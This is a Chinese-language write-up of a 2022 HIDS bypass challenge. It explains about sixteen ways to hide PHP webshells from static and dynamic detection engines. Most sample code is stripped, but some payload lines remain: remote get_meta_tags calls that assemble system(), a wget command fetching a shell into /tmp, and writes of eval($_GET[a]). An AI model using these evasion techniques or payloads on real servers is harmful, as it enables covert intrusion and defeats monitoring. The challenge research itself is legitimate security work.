背景:2022年春天,参加了某HIDS Bypass挑战赛,赛题恰好是关于PHP WebShell绕 过的,结合Fuzz技术获得了几个侥幸可以绕过的样本,围绕#WebShell检测那些事的主题, 与各位做一个分享。
挑战赛规则如下:
1、WebShell 指外部能传参控制(如通过 GET/POST/HTTP Header 头等方式)执行任 意代码 或命令,比如 eval($_GET[1]);。在文件写固定指令不算 Shell,被认定为无 效,如<?php system(‘whoami’);
2、绕过检测引擎的 WebShell 样本,需要同时提供完整有效的 curl 利用方式, 如:curl ‘http://127.0.0.1/webshell.php?1=system("whoami")';。curl 利用方式可以在 提供的 docker 镜像中进行编写测试,地址可以是容器 IP 或者 127.0.0.1,文件名 任意,以执行 whoami 作为命令示例。
3、WebShell 必须具备通用性,审核时会拉取提交的 WebShell 内容,选取一个和 验证镜 像相同的环境进行验证,如果不能正常运行,则认为无效。
4、审核验证 payload 有效性时,WebShell 文件名会随机化,不能一次性执行成功 和稳定 触发的,被认定为无效。
首先,我对查杀引擎进行了一定的猜测,根据介绍查杀引擎有两个,两个引擎同 时工作,只要有一个引擎检测出了 WebShell 返回结果就是查杀,根据经验推测,应 该是有一个静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入 点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则,于是 我开始了一些尝试。
0x01 CURL 引入参数
经过分析,引擎对$_GET $_POST $_COOKIE $_REQUEST $_FILES $_SERVER $GLOBALS 等几乎一切可以传递用户参数的全局变量都进行了过滤,但是对 curl 进来的内容却是没有 任何过滤,于是我们可以通过CURL引入参数。
1 | <?php |
但是在这一点的评判上存在争议,本样本惨遭忽略。根据挑战赛规则,能够动态引入参 数即可,我个人认为CURL引入的参数也属于外部可控的参数内容。
0x02 get_meta_tags 引入参数
get_meta_tags 函数会对给定 url 的 meta 标签进行解析,自然也会发起URL请求。对 于能够发起外连的服务器来说,这个PHP WebShell样本是极具迷惑性的。
不过,之前CURL的被忽略了,这个我也就没有再提交。
1 | <?php |
此时,目标服务器上需要有相应的文件配合:
1 | <meta name="author" content="system"> |
这个name 我们可以随便指定,相应的我们的payload也要做相应的修改
这里的payload 就相当于get_meta_tags("http://x/1")["author"]
先用这个取到了 system
在用 get_meta_tags("http://x/1")[" keywords"]
取到了 ls
然后执行后的结果
我们尝试一下写shellcode
我们尝试用 echo 123>/tmp/123.php
去写入发现 他并没有 写入成功,网页直接输出了123
这里我尝试对echo 123>/tmp/123.php
进行base64编码,然后在我们的payload进行一下解码
1 | get_meta_tags("http://192.168.197.134/demo1.html")["author"](base64_decode(get_meta_tags("http://192.168.197.134/demo1.html")["keywords"])); |
成功写入 shell
passthru
这个函数也可以执行命令,挺少见的,也许某些地方可以绕过
我们换个思路进行写shellcode,我们可以从我们的服务器上直接wget下来
1 | wget -O /tmp/shell.php http://192.168.197.134/shell.txt |
这样也是可以实现的,但是要注意的是你wget的文件必须是txt等他获得请求后的结果 作为的内容进行传入的php
,不然直接请求php可能会返回空
0x03 fpm_get_status 引入参数
因为当时的比赛是php-fpm的架构,而fpm_get_status
可以获取到fpm的一些状态
我们需要找到这些用户可以控制的状态参数
1 | <?php |
先用这个打印一下
注意到这里他可以接收get的传参
那么我们就可以进行拼接
1 | <?php |
这么一个逻辑
1 | system(fpm_get_status()["procs"][0]["query-string"]); |
所以我们通过这个完全可以取出来
没问题
有些时候 procs 的第一个 不是 0 这个数组,所以
1 | <?php |
这样就可以每次都触发,做了一个循环,肯定能取到0
0x04 递归GLOBALS 引入参数
经过测试,查杀引擎对$GLOBALS 全局变量传参点进行了检测,但是似乎没有严格执行 递归,通过一些变形即可绕过:
1 | <?php |
由于静态引擎会直接拦截system( ,所以,进行了一些包装,timezone_version_get() 在给定的测试环境中返回的值恰好是:0.system 。 关于这一点,我在PHP 网站上看到了这样一段话:
If you get 0.system for the version, this means you have the version that PHP shipped with. For a newer version, you must upgrade via the PECL extension (sudo pecl install timezonedb)
传参数入口方面,我暂时就发现了这么多,接下来,我试图通过特殊的变量传递方式切 断动态查杀引擎的污点跟踪链。
这里我们自己分析一下
先打印看一下 $GLOBALS 到底是什么
可以看到
RECURSION 是递归的意思,也就是下面有很多个GLOPBALS 嵌套的数组,有可能他的追踪链不会追这么深,污点断掉,我们的payload就可以绕过
timezone_version_get()
然后我们查一下这个函数,到底是什么
他这获取一个版本,好像并不是我所想象的执行命令的函数
我们打印一下看一下
system出现了,后面查资料发现,timezonedb 只要这个的版本不是最新的,他就会返回 0.system
仅限于Linux系统,windows系统不行
后面拼接get传参就可以执行命令
在测试一下post
post也可以传
也可以执行
0x05 模式一: Array元素引用
1 | <?php |
这里先分析一下代码
第一个if判断通过get_cfg_var
判断error_reporting
模式是否开启
如果开启 $b="#"
这里打印了一下,发现我们的环境是开启了这个模式的
$a = array( "one"=>$c,"two"=>&$c );
又引入了一个变量a ,”one”=>$c 这里是值赋值,将变量$c
的当前值复制到数组的"one"
键中。如果后续$c
的值发生变化,数组中的这个值不会受到影响,”two”=>&$c 这里是引用赋值, 将变量$c
的引用(而非值)赋给数组的"two"
键。这意味着数组中的这个元素会始终反映$c
的当前值,反之亦然 —— 如果通过数组修改这个元素,$c
的值也会改变,也就是他们两现在共用一个内存地址
$url = "http://a/usr/".$b."?a=1";
$d =parse_url($url);
然后这里他把$b 进行拼接在了这个url地址栏中
并用$d 来接收了url解析后的一些参数,我们可以打印看一下,正常的url有哪些参数
正常也就是$b 是111的时候,他有query这个字段
我们在试试把#进行拼接呢?
发现他这里query字段消失了,导致下面的那个if判断走的分支就不一样了
1 | if($d['query']){ |
这里就被我们上面控制,如果有query 那么就是为真,$c=”echo 111;” 最后我们输出的那个two 就是111,为正常的参数,waf不会拦截
但是如果 query 为 假,也就是 $b=”#”,$c=$_FILES['useraccount']['name'];
这个看上去像文件上传的参数
且用户可控
这里其实就是利用了 waf,和服务器的配置的差异性,因为waf他要保证精简,所以一般这些他不会用的服务都会关闭,我们服务器呢,这个配置默认就是开启的,waf他走正常的输出逻辑,过掉之后,服务器在运行,又走另一个分支,从而实现了我们的绕过
我们复现一下,具体怎么个用户可控
首先我们需要抓一个文件上传的包,还有正常访问的包,将文件上传的post部分,覆盖进get访问的包
上传文件的内容随便,我们只需要控制他的name
成功执行
0x06 模式二: 反序列化引用
怎么能少得了反序列化呢?记得在N年前php4fun挑战赛challenge8中,一道与L.N. 师傅有关的题令我印象深刻,其中使用的技术正是PHP反序列化引用。
1 | <?php |
分析
他先将a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}
进行了一下反序列化,我们看一下打印一下看看反序列化的结果
也可以直接读序列化的值
他这里定义了一个对象a,然后里面有两个元素,第一个是int型,值是0,第二个又是一个对象 长度8,名称stdClass,属性1,里面第一个元素 str类型,长度1,key=a,int型, value=1, 第二个元素 int型长度1,
r:2 是对a对象的第二个元素的引用 也就是我们反序列化后的结果打印出来的
两个都指向stdClass 这个元素
打印看一下定义了哪些数组,包含自定义的数组
可以看到这里的第
这里我们在打印一下他有多少个数组
145 刚好能满足在下面 到97的时候 会继续执行下面的代码
$s[1]->a=$_GET['a'];
这里他将 get请求获取的值 赋值给数组s的第二个元素,也就是刚刚的r:2
又进行引用,指向了s[0],这样也具有一定的迷惑性迷惑waf
$c=$s[0]->a;
下面有将 s[0] 赋值给a ,然后赋值给c
最后的命令执行 参数也就是$c
刚刚这里 我们还需要注意 他最后命令执行的函数也就是通过
substr(get_declared_classes()[72],4,6)
这里我们需要修改为我们环境的 70
刚好截取出来的是system,然后进行拼接执行函数
成功执行
0x07 trait
在对前两种模式Fuzz的同时,我发现了一个新的思路,这个思路虽然同样部分依赖于 系统环境变量,但是由于执行函数和传参都进行了变形,可以有效阻断污点追踪技术。
1 | <?php |
分析
他先用trait 定义了一个类,trait这个是php中为了完善定义类的方式新增了可复用类
如
1 | <?php |
然后他 new了一个对象 通过OverflowException这个默认的类创建
抛出异常的一个类,
我们可以去官方文档看一下他有哪些属性和方法
这里可以看到我们传入了 一个get传参,第一个参数就是message,进行了赋值
且后面也调用了getmessage() ,进行赋值给$c
然后这里他还将 $arr 通过getmygid() 获得文件的所属组的id,进行赋值给$arr,
然后去进行了if判断,在33 的时候正好 能继续执行下面的代码,而且我们可以看一下
/etc/passwd,下面的 www-data 的组id是多少
可以看到这个是33,也就是可以成功执行下面的代码
最后执行 get_declared_traits()[0]
这个方法
可以看到 他的返回值是 已经定义的 所有 traits 的名称的数组,这里我们只定义了一个
所以就可以把system 取出来
最后也是拼接执行的代码
测试
成功
然后这里这个异常的类有很多,都可以进行替换,一般的抛出异常肯定是有抛出异常信息这个的方法和属性的,
为什么能绕过呢?
这里我如此初始化:$a= new JsonException($_GET[‘a’]); 于是,分别从危险函数和 用户传参两个路径来狙击动态跟踪,发生了新的绕过。除了JsonException以外,我发现 引擎对内置接口的getMessage 普遍不敏感,这样的内置类大致(未严格测试,其中可能 会有些类不支持getMessage方法)如下:
1 | Error |
0x08 SESSION
如果动态引擎去检查,他应该没有SESSION,至少是在第一次的时候。
1 | <?php |
模式基本上是与之前相同的,不同之处在于引入了SESSION变量来干扰URL解析,不 知为何,这样一次就通过了检测。其实更加高级的方法应该是这样的:
1 | <?php |
由于规则需要一次性执行成功,因此需要在文件末尾加入:
1 | if ($_SESSION['a']!="#"){ |
触发该WebShell的HTTP请求为:
1 | POST /x.php HTTP/1.1 |
这个方法其实也跟前面的 0x05是差不多的,利用的是 waf和服务器的差异性,这里我们就不做过多的分析了
0x09 SESSION扩展
利用SessionHandlerInterface 扩展的接口可以神不知鬼不觉地执行特定函数,直 接看代码:
1 | <?php |
这里我们可以看到,他自建了一个SessionHandlerInterface,并重写了里面的方法进行了覆盖,也就是说
我们后面开启session_start() 的时候,会调用我们自己写的 方法,而不是系统自带的
这是他系统自带的属性和方法,因为我们进行覆盖,可以不写下面具体的方法,只需要有这个方法名,他才不会报错,这里感觉跟之前做的dll劫持导出表有相似之处
这里我们是在open下做的代码执行,其实也可以在其他地方,但是他需要接收两个用户可控的地方
目前感觉只有 open 和write 可以
因为我们知道 sessionid是用户可控的,data 就是我们要写入的数据 ,可以测试一下
感觉不太像,这个data 他是序列化后的结果 ,无法 构造出我们想要的
所以还是只有open可以实现,因为path,和name 我们可以直接传入
没问题成功执行了
0x0A 内存
之前有考虑过写入文件后include,但是被规则禁止了,即便是include session文件也 不行,于是,想到了内存。
1 | <?php |
这里他用SplTempFileObject 这个类创建了a这个对象,我们知道 php中,创建对象的时候
会自动调用__construct这个魔术方法执行
那就明白了,他这个给maxMemory 设置了大概1M 的大小,然后通过fwrite进行写入文件 给$a
然后又将指针移动向文件的开头,substr(get_declared_classes()[70],4,6) 构造system,之前讲个这个构造
,然后在通过$a->fgets(),读命令执行
测试
这里为什么要设置1M ,目的是为了不让他在我们执行命令的过程中生成临时文件,绕过waf
只要是2M一下都行
0x0B 修改自身
修改自身的洞都被认定为同一种绕过手法了,而且已经有人先提交,因此被忽略了,但 是仍然写出来供大家参考。
1 | <?php |
分析
先定义了一个$s = “Declaring file object\n”
然后通过$_SERVER[‘DOCUMENT_ROOT’].$_SERVER[‘DOCUMENT_URI’]拼接了一个字符串,我们打印看一下是什么,
我们可以看到 $_SERVER 中是一个数组,然后 DOCUMENT_ROOT 是服务器网站的根目录,DOCUMENT_URI是文件的路径,拼接起来就是 /var/www/html/baypass/demo11.php,就拿到了我们php的绝对路径
我还发现 ,SCRIPT_FILENAME 这个也可以直接拿到文件的绝对路径,用拼接的方式也可能是为了迷惑waf
这几个其实都能用来利,
然后他 又通过SplFileObject这个类new了一个对象为$file 参数为 自己文件的绝对路径,mode是w
我们可以看到 他正好第一个参数,第二个参数就是 文件名和mode,其他的都有默认值
$file->fwrite("<?php"." eval(\$s[3]);");
$file->fwrite("(\$_"."GET"."[a]);?>");
然后他通过fwrite进行写文件
这里其实我有一个疑问,他这里为什么是追加不是覆盖呢?
查找资料发现
因为我们 new对象的时候mode用的是w
'w'
模式的特性是:
- 打开文件时会清空原有内容(首次写入前文件已被截断)
- 但写入过程中,文件指针会自动向后移动,新的写入操作会从当前指针位置继续,形成连续追加
fwrite () 的指针移动机制
每次调用fwrite()
后,文件指针会自动移动到写入内容的末尾。因此:
- 第一次
fwrite()
写入"<?php"." eva".$s[3]"
- 指针移动到这段内容的末尾
- 第二次
fwrite()
从当前指针位置继续写入"(\$_GET[a]);?>"
- 最终两个字符串会被拼接在一起,形成完整内容:
这里要避免$ 符被正确识别,所以要用\进行转义
也就是说我们写完后的指针在末尾!!!
最后用 get_included_files 进行获取 文件的路径
这里我们也打印一下看看他是什么
发现这里他只有一个元素也就是我们的文件名
测试执行一下
发现自身的文件成功被修改为 我们想要的payload
直接的文件读写函数被禁止了,因此需要通过SplFileObject来写,由于需要一次性执行 和稳定触发,写入之后需要自己include自己。这种WebShell很有趣,就像是披着羊皮的 狼,上传的时候看起来平平无奇,被执行一次以后就完全变了模样。 沿用这个思路,还有一个点是可以写文件的:
1 | <?php |
这个代码主要的方法就是写函数不一样 fputcsv
查查官方文档
putcsv($a,'l');
这里我们传入$a是我们的payload ,也就是我们传入的这个数组,然后用l 来进行分割,也就是将逗号替换为了l,但是这里有两个逗号,正常替换是<?php l eval ($_GET[a]);这里会多一个l所以我们用
/* */ 进行注释
测试
成功变为了我们想要的,只是多了一个双引号,但是并不影响我们执行
不同之处在于,这里使用的是fputcsv,此时,需要将写入文件以后所产生的分隔符进 行注释,因此在构造payload时需要花点心思。 更进一步,使用这个方法加载缓存也是可以的:
1 | <?php |
分析
他先创建了一个对象 用SplTempFileObject这个类
然后用这个类里面的方法来写payload
用法跟前面的差不多,先用 explode m 来分割 evam($_GET[m]); ,
分割后变成了 eva ($_GET[ ]);
这样我们能就有一个3个元素的数组,然后他又用fputcsv l,来进行分割(代替逗号)
变为了: eval($_GET[l]);所以我们传参的值是l
然后他重置了一下指针到开头,然后在用eval来执行文件内容
没问题
0x0C 堆排序
动态查杀引擎根据模拟执行的情况来进行判断,那么我们能否将好的坏的掺在一起,这 就像一个箱子里面有个5球,按号码从大到小摆放好,按顺序取,想办法让引擎取到正常的 球,而我们执行的时候通过控制参数取到能变为WebShell的球。我先放入3个正常的球0、 7、8和一个恶意的球’system’,还有一个球我通过GET参数控制,暂且称之为x。 当x取大于8以上的数字时,会有一个最大堆(绿色为按最大堆顶点依次导出的顺序):
由此可见:不同的参数值,能够引发堆结构的改变。经过多次Fuzz测试,我发现HIDS 查杀引擎对第三种情况没有考虑,于是,我通过依次将i取1和i取2来提取变量$a和$b, 再通过 $a($b); 执行命令。 当然,在这种情况下,利用的Payload 只能是 x.php?a=99;whoami 这种格式。
1 | <?php |
分析
0x0D 优先级队列
优先级队列与堆排序思想基本类似,不同的是,我这里使用优先级队列对system关键 词进行更细颗粒度的拆分。想办法让传参影响system每个字符的顺序。 请看样本:
1 | <?php |
分析
用SplPriorityQueue 这个类 new了一个对象
这个类中有优先级队列的一些方法
这个
$objPQ->insert(‘m’,1);
我们可以看到官方文档说明他有两个参数,第一个就是要进行排序的值,第二个就是优先级,优先级越大,他排在最上面
这里他就是想构造 system 只需要我们将a传入3就行
然后他下面用了 setExtractFlags 这个方法 调用了 SplPriorityQueue::EXTR_DATA 这个常量
也就是他想用 setExtractFlags 来提取优先级队列里面的数据
也就是提取system
然后他又调用了top这个方法
让他从顶部开始查看节点
$cur = new ErrorException($_GET[b]);
这里他又用了这个抛出错误这个类创建一个对象,然后通过getmessage()这个方法来传入我们的命令
然后下面那个循环
他先调用了valid ,来检查队列是否有多个节点,返回类型bool型,满足条件
然后又用 current来指向当前的节点 因为前面调用了top 所以从上往下指
然后next 依次往下指,取出了我们的system ,在进行了拼接命令执行函数
测试
成功执行
0x0E 内存不足
内存不足的思想是:查杀引擎的动态执行需要消耗内存空间,由于同一时间处理的样本 很多,因此单独给每个沙箱环境分配的内存往往不会太多,如果我构造一个样本,能够让查 杀引擎由于内存不足提前终止查杀,而在真实环境中内存可以满足执行需要,就能够执行到 恶意的代码了,恰好PHP的内存申请是可以通过php_ini在运行时动态修改的。 请看样本:
1 | <?php |
分析
第一段php代码:
他先定义了一个b类继承了SplObjectStorage类的属性和方法,重写了getHash这个方法
让他返回对象名
然后
他又new了一个对象通过DomainException这个类,也是一个抛出异常的一个类,$_GET[a]应该就是我们执行的参数,通过getmessage来获取
第二段php代码:
他初始化了一个 memory_limit 分配了100g的内存
然后他打印了一下这个 内存量,然后他又用str_repeat这个函数 一直重复的赋值 php7_do9gy这个字符串
100000000次
然后他又打印了一下
并定义了一个空的类bb
第三段php代码:
首先定义了一个空A类
然后通过b类new了一个$s这个对象,
又通过stdClass这个类 new 了一个o2的对象
然后他将$s[$o2] = ‘system’;
然后又用 stdClass 这个类new了一个p1的对象
最后进行拼接打印输出
可以看到最开始内存占用是 403984 变成了1000405544
成功
0x0F 未来WebShell
思路:动态查杀是基于PHP 文件上传后动态执行的,那么有没有可能上传一个文件, 上传时它还不是WebShell,它自己过几分钟变成一个 WebShell呢?这样在上传时就可以躲 过动态查杀。正好,结合0x05和0x06两种模式,我们尽可能将是否为WebShell的判断依 据前置到一个if条件中,然后让这个条件以当前时间为依据,那么上传时的Unix时间戳小 于某个值,返回结果True,动态引擎自然判定这是一个正常的文件,而过一段时间,时间变 化了返回结果变为了False,再去请求这个WebShell 自然就能够执行了。 一直想构造这样一个未来的webshell,但是由于网站对时间相关的函数过滤很严,直到我发 现了DateTime类的getTimestamp方法。 仅有这个思路是不够的,在实现时,还结合了反射的技巧以及PHP条件优化。
1 | <?php |
分析
他先定义了一个foo的函数里面有两个参数,test没有默认值,需要用户传入,bar有默认值,用户可传可不传
然后 通过ReflectionFunction这个类创建了一个function这个对象,这个类英文翻译为反射函数
我们可以知道,他将foo这个函数的属性给了$function
然后他又通过了 ParseError这个类抛出异常来接收我们要执行的命令
if判断里面用 getParameters 获取了一下$function 的参数,也就是获取到了 test,和bar
用这两个参数进行循环
循环里面,他用DateTime 这个类创建了一个对象 $da,然后用getTimestamp() 获取了一下unix时间戳并打印出来,然后 getName获取属性名赋值给$param, 然后将$n=’F’;
进入下面的判断
isOptional() 调用这个方法来判断$param 里面的属性是否是可选的参数,也就是可以传值也可以不传值的参数
if($da->getTimestamp()>=1648470471||$n=’1’)
这里这个判断 如果时间戳大于 就不$n=’1’进行这个赋值 直接往下继续执行了,如果小于就将 $n=’1’ 进行赋值
最后ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
调用这个来构造system(),这里他是通过getDefaultValueConstantName来获取默认的参数值,并交给ltrim进行清洗掉$n,也就是将FSYSTEM 中的F 去掉,就刚好是我们的system,如果这个$n是1 的话,它里面没有1 所以不做处理,会让waf认为是正常函数,污点就会断掉,只有在特定的时间才会触发
测试
这里我们修改一下这个时间戳为1754301527
等下时间到
成功执行
0x10 量子WebShell
不满足于未来WebShell的挖掘,我又找到了一种新的模式——量子WebShell。在PHP 引擎查杀时,利用随机数,让判断条件在大多数情况下都不成立,此时这个WebShell处于 是WebShell和非WebShell的叠加态,当且仅当参数传递缩小随机数生成范围以后,让条件 恒成立,此时该样本坍缩到一个WebShell的状态,可以稳定触发。 请看代码:
1 | <?php |
这里他跟前面列子不一样的地方就是判断的地方
前面还是一样用反射函数构建等等。。。
(mt_rand(55,$p->getMessage()??100)==55||$n=’1’)
他通过mt_rand这个函数来随机取值,如果我们的$_SERVER[HTTP_A]没传值 getMessage()这个就接收不到参数
他的范围就(55,100), 这样经过mt_rand()很难精准的取到55,所以这里我们传值就传55,让他定死
$p = new ParseError($_SERVER[HTTP_A]);
就伪造一个header头 HTTP_A:55
这样他前面的条件一直成立,就不会重新赋值给$n,我们的$n就是F 就可以经过ltrim 清洗掉F ,构造出SYSTEM
测试
成功执行